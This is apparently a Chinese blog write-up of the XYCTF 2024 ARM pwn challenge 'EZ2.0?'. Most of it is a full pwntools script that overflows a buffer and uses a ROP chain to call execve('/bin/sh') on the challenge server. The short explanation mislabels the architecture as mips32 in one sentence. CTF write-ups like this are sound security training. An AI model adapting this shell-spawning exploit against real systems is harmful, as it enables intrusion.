[XYCTF新生赛2024]-PWN:EZ2.0?(arm架构,arm架构下的系统调用)

查看保护

查看ida

完整exp:

from pwn import*

p=process('./arm')
p=remote('gz.imxbt.cn',20082)
svc=0x0001c58c
mov_r2_r4_blx_r3=0x00043224
pop_r7=0x00027d78
pop_r4=0x000104e0
pop_r3=0x00010160
pop_r1=0x0005f824
pop_r0=0x0005f73c
sh=0x0008A090

payload=b'a'*0x44
payload+=p32(pop_r0)+p32(sh)
payload+=p32(pop_r1)+p32(0)
payload+=p32(pop_r3)+p32(svc)
payload+=p32(pop_r4)+p32(0)
payload+=p32(pop_r7)+p32(0xB)
payload+=p32(mov_r2_r4_blx_r3)

p.send(payload)

p.interactive()

因为是arm架构,所以我们要覆盖LR寄存器控制返回地址,对于mips32架构,R0~R3寄存器负责传参,R7寄存器传递系统调用号。这里覆盖R3为SVC是因为后面有跳转R3的指令,覆盖R4是为了后面把R2寄存器覆盖为0。

相关推荐
在右ZY1 小时前
Volatility 工具使用说明
安全
me8321 小时前
【Linux docker】关于Docker 守护程序配置远程访问,安全认证以及idea连接。
linux·安全·docker
晓翔仔2 小时前
利用 requestrepo 工具验证 XML外部实体注入漏洞
xml·网络安全·信息安全·渗透测试·漏洞
hzyyyyyyyu2 小时前
内网安全-横向移动&PTH 哈希&PTT 票据&PTK 密匙&Kerberos&密码喷射
安全
网络安全指导员3 小时前
kali linux 漏洞扫描
linux·运维·开发语言·网络·安全·web安全
藤原千花的败北4 小时前
Linux 提权
linux·运维·网络安全
钡铼技术物联网关5 小时前
工业数据采集与控制:ARM一体机的低功耗高可靠性方案
大数据·linux·arm开发·人工智能
丸子猪的dady5 小时前
配置安全网站
安全·安全网站配置·基础网站配置·腾讯云nginx配置ssl证书
字节跳动开源6 小时前
vArmor:云原生容器安全的多场景应用实践
安全·云原生